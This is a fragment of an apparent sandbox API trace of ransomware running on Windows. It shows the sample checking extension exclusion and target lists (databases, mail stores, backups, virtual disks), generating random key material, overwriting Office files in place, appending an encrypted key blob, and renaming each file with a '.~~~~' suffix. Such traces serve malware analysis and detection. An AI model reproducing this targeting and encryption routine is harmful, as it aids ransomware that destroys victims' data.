	[0141.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".cmd") returned 0x0
	[0141.629] lstrlenW (lpString=".dll") returned 4
	[0141.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".dll") returned 0x0
	[0141.629] lstrlenW (lpString=".bat") returned 4
	[0141.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".bat") returned 0x0
	[0141.629] lstrlenW (lpString=".cpl") returned 4
	[0141.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".cpl") returned 0x0
	[0141.629] lstrlenW (lpString=".sys") returned 4
	[0141.629] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".sys") returned 0x0
	[0141.630] lstrlenW (lpString=".msc") returned 4
	[0141.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".msc") returned 0x0
	[0141.630] lstrlenW (lpString=".com") returned 4
	[0141.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".com") returned 0x0
	[0141.630] lstrlenW (lpString=".lnk") returned 4
	[0141.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".lnk") returned 0x0
	[0141.630] lstrlenW (lpString=".msp") returned 4
	[0141.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".msp") returned 0x0
	[0141.630] lstrlenW (lpString=".pif") returned 4
	[0141.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".pif") returned 0x0
	[0141.630] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.630] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.630] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0141.632] lstrlenW (lpString=".sqb") returned 4
	[0141.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".sqb") returned 0x0
	[0141.632] lstrlenW (lpString=".ost") returned 4
	[0141.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".ost") returned 0x0
	[0141.632] lstrlenW (lpString=".txt") returned 4
	[0141.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".txt") returned 0x0
	[0141.632] lstrlenW (lpString=".mdt") returned 4
	[0141.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".mdt") returned 0x0
	[0141.632] lstrlenW (lpString=".BDB") returned 4
	[0141.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".BDB") returned 0x0
	[0141.632] lstrlenW (lpString=".eql") returned 4
	[0141.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".eql") returned 0x0
	[0141.632] lstrlenW (lpString=".DBF") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DBF") returned 0x0
	[0141.633] lstrlenW (lpString=".EQL") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".EQL") returned 0x0
	[0141.633] lstrlenW (lpString=".FDB") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".FDB") returned 0x0
	[0141.633] lstrlenW (lpString=".EDB") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".EDB") returned 0x0
	[0141.633] lstrlenW (lpString=".DACPAC") returned 7
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.633] lstrlenW (lpString=".VHD") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".VHD") returned 0x0
	[0141.633] lstrlenW (lpString=".DBV") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DBV") returned 0x0
	[0141.633] lstrlenW (lpString=".dacpac") returned 7
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.633] lstrlenW (lpString=".sdf") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".sdf") returned 0x0
	[0141.633] lstrlenW (lpString=".accdb") returned 6
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".accdb") returned 0x0
	[0141.633] lstrlenW (lpString=".DBX") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DBX") returned 0x0
	[0141.633] lstrlenW (lpString=".MDT") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".MDT") returned 0x0
	[0141.633] lstrlenW (lpString=".SQB") returned 4
	[0141.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".SQB") returned 0x0
	[0141.633] lstrlenW (lpString=".vhd") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".vhd") returned 0x0
	[0141.634] lstrlenW (lpString=".bac") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".bac") returned 0x0
	[0141.634] lstrlenW (lpString=".mdf") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".mdf") returned 0x0
	[0141.634] lstrlenW (lpString=".BAK") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".BAK") returned 0x0
	[0141.634] lstrlenW (lpString=".BAC") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".BAC") returned 0x0
	[0141.634] lstrlenW (lpString=".dbs") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".dbs") returned 0x0
	[0141.634] lstrlenW (lpString=".vhdx") returned 5
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.634] lstrlenW (lpString=".NDF") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".NDF") returned 0x0
	[0141.634] lstrlenW (lpString=".dat") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".dat") returned 0x0
	[0141.634] lstrlenW (lpString=".DBS") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DBS") returned 0x0
	[0141.634] lstrlenW (lpString=".CKP") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".CKP") returned 0x0
	[0141.634] lstrlenW (lpString=".edb") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".edb") returned 0x0
	[0141.634] lstrlenW (lpString=".PST") returned 4
	[0141.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".PST") returned 0x0
	[0141.634] lstrlenW (lpString=".dbf") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".dbf") returned 0x0
	[0141.635] lstrlenW (lpString=".SQL") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".SQL") returned 0x0
	[0141.635] lstrlenW (lpString=".pst") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".pst") returned 0x0
	[0141.635] lstrlenW (lpString=".dbv") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".dbv") returned 0x0
	[0141.635] lstrlenW (lpString=".SDF") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".SDF") returned 0x0
	[0141.635] lstrlenW (lpString=".dtxs") returned 5
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.635] lstrlenW (lpString=".db3") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".db3") returned 0x0
	[0141.635] lstrlenW (lpString=".OST") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".OST") returned 0x0
	[0141.635] lstrlenW (lpString=".dbx") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".dbx") returned 0x0
	[0141.635] lstrlenW (lpString=".DB3") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DB3") returned 0x0
	[0141.635] lstrlenW (lpString=".DAT") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DAT") returned 0x0
	[0141.635] lstrlenW (lpString=".VHDX") returned 5
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.635] lstrlenW (lpString=".ndf") returned 4
	[0141.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".ndf") returned 0x0
	[0141.635] lstrlenW (lpString=".DB") returned 3
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DB") returned 0x0
	[0141.636] lstrlenW (lpString=".sql") returned 4
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".sql") returned 0x0
	[0141.636] lstrlenW (lpString=".MYD") returned 4
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".MYD") returned 0x0
	[0141.636] lstrlenW (lpString=".DBT") returned 4
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DBT") returned 0x0
	[0141.636] lstrlenW (lpString=".ACCDB") returned 6
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.636] lstrlenW (lpString=".fdb") returned 4
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".fdb") returned 0x0
	[0141.636] lstrlenW (lpString=".bak") returned 4
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".bak") returned 0x0
	[0141.636] lstrlenW (lpString=".myd") returned 4
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".myd") returned 0x0
	[0141.636] lstrlenW (lpString=".DTXS") returned 5
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.636] lstrlenW (lpString=".ckp") returned 4
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".ckp") returned 0x0
	[0141.636] lstrlenW (lpString=".dbt") returned 4
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".dbt") returned 0x0
	[0141.636] lstrlenW (lpString=".db") returned 3
	[0141.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".db") returned 0x0
	[0141.637] lstrlenW (lpString=".TXT") returned 4
	[0141.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".TXT") returned 0x0
	[0141.637] lstrlenW (lpString=".MDF") returned 4
	[0141.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".MDF") returned 0x0
	[0141.637] lstrlenW (lpString=".bdb") returned 4
	[0141.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".bdb") returned 0x0
	[0141.637] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0141.637] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630f8
	[0141.637] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395498) returned 1
	[0141.638] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630f8 | out: pbBuffer=0x3630f8) returned 1
	[0141.638] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0141.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630f8 | out: hHeap=0x300000) returned 1
	[0141.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0141.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0141.639] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26162904216) returned 1
	[0141.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbdd33e90, dwHighDateTime=0x1d60e1e)) 
	[0141.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0141.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0141.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0141.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3530
	[0141.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3530 | out: hHeap=0x300000) returned 1
	[0141.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3aecb0
	[0141.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aecb0 | out: hHeap=0x300000) returned 1
	[0141.640] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0141.640] GetLastError () returned 0x0
	[0141.640] GetLastError () returned 0x0
	[0141.641] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0141.641] GetLastError () returned 0x0
	[0141.641] GetLastError () returned 0x0
	[0141.641] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0x3ae8, lpOverlapped=0x0) returned 1
	[0141.643] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffffc518, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.644] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x3ae8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x3ae8, lpOverlapped=0x0) returned 1
	[0141.644] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0141.644] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.644] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.644] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.644] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.644] CloseHandle (hObject=0x114) returned 1
	[0141.644] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aecb0
	[0141.645] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR47F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir47f.gif.~~~~")) returned 1
	[0141.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aecb0 | out: hHeap=0x300000) returned 1
	[0141.647] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0141.647] GetLastError () returned 0x0
	[0141.648] RtlWakeConditionVariable () returned 0x0
	[0141.648] GetCurrentThreadId () returned 0x9cc
	[0141.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".scr") returned 0x0
	[0141.648] lstrlenW (lpString=".cmd") returned 4
	[0141.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".cmd") returned 0x0
	[0141.648] lstrlenW (lpString=".dll") returned 4
	[0141.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".dll") returned 0x0
	[0141.648] lstrlenW (lpString=".bat") returned 4
	[0141.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".bat") returned 0x0
	[0141.648] lstrlenW (lpString=".cpl") returned 4
	[0141.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".cpl") returned 0x0
	[0141.648] lstrlenW (lpString=".sys") returned 4
	[0141.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".sys") returned 0x0
	[0141.648] lstrlenW (lpString=".msc") returned 4
	[0141.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".msc") returned 0x0
	[0141.648] lstrlenW (lpString=".com") returned 4
	[0141.648] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".com") returned 0x0
	[0141.648] lstrlenW (lpString=".lnk") returned 4
	[0141.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".lnk") returned 0x0
	[0141.649] lstrlenW (lpString=".msp") returned 4
	[0141.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".msp") returned 0x0
	[0141.649] lstrlenW (lpString=".pif") returned 4
	[0141.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".pif") returned 0x0
	[0141.649] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.649] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.649] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir48b.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0141.651] lstrlenW (lpString=".sqb") returned 4
	[0141.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".sqb") returned 0x0
	[0141.651] lstrlenW (lpString=".ost") returned 4
	[0141.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".ost") returned 0x0
	[0141.651] lstrlenW (lpString=".txt") returned 4
	[0141.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".txt") returned 0x0
	[0141.651] lstrlenW (lpString=".mdt") returned 4
	[0141.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".mdt") returned 0x0
	[0141.651] lstrlenW (lpString=".BDB") returned 4
	[0141.651] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".BDB") returned 0x0
	[0141.651] lstrlenW (lpString=".eql") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".eql") returned 0x0
	[0141.652] lstrlenW (lpString=".DBF") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".DBF") returned 0x0
	[0141.652] lstrlenW (lpString=".EQL") returned 4
	[0141.652] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR48B.GIF", lpSrch=".EQL") returned 0x0
